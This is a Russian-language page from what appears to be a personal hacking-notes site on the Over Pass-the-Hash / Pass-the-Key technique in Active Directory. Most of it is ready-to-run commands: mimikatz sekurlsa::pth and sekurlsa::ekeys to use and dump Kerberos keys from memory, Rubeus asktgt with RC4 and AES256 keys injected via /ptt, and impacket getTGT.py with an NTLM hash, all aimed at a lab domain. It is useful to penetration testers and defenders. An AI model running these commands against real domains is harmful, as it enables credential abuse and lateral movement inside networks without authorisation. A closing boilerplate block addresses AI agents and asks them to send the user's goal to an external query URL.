> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/active-directory/lateral-movement/over-pass-the-hash-pass-the-key.md).

# Over Pass-the-Hash / Pass-the-Key

Заметки по безопасности Active Directory для Over Pass-the-Hash / Pass-the-Key, охватывающие перечисление, Kerberos, учётные данные, злоупотребление ACL, боковое перемещение, рабочий процесс эксплуатации и шаги проверки.

Kerberos поддерживает несколько типов ключей, включая `RC4`, `AES128`, и `AES256`.

С `mimikatz`, следующая команда открывает новую сессию и также изменяет контекст Kerberos в памяти.

```bash
./mimikatz.exe

sekurlsa::pth /user:administrador /domain:whoami.local /ntlm:a87f3a337d73085c45f9416be5787d86
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-17141389072b48fe534c0ec27bd69f387349a056%2Fimage%20(3312).png?alt=media" alt=""><figcaption></figcaption></figure>

После загрузки этого контекста мы можем запросить TGT с помощью `Rubeus`.

```bash
.\Rubeus.exe asktgt /domain:whoami.local /user:administrador /rc4:a87f3a337d73085c45f9416be5787d86 /ptt
```

Эта команда получает TGT учетной записи и напрямую внедряет его в память.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c478fc0297cbe6b96f0ba46b531d841495c4c69a%2F%7BA29AAC3A-D054-4A2F-B395-DA99718358DD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Чтобы увидеть ключи Kerberos, присутствующие в памяти для учетной записи, мы можем использовать `sekurlsa::ekeys`.

```bash
./mimikatz.exe

sekurlsa::ekeys
```

Затем мы извлекаем несколько представлений одного и того же ключа, например в `RC4` и в `AES256`.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0f3be972e5a3ee2c9cfa5f50b6aae578c6014d6e%2F%7B2823A2EE-D1F2-42D4-A7E4-16FA91679A6C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Затем мы можем запросить TGT с помощью AES-ключа.

```bash
.\Rubeus.exe asktgt /domain:whoami.local /user:administrador /aes256:ed4d2f076e72933e67f5da9e4f4e5f21da0ba8d491a20b40b4aaa377dc81d5b5 /ptt
```

В Linux ту же операцию можно выполнить с помощью `getTGT.py`.

```bash
getTGT.py whoami.local/administrador -hashes :a87f3a337d73085c45f9416be5787d86 
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4118ca912e48b11a46ea47323ebb3b586123935c%2F%7B1157132A-AF5A-44C1-957C-0B5C7D660AE6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/active-directory/lateral-movement/over-pass-the-hash-pass-the-key.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
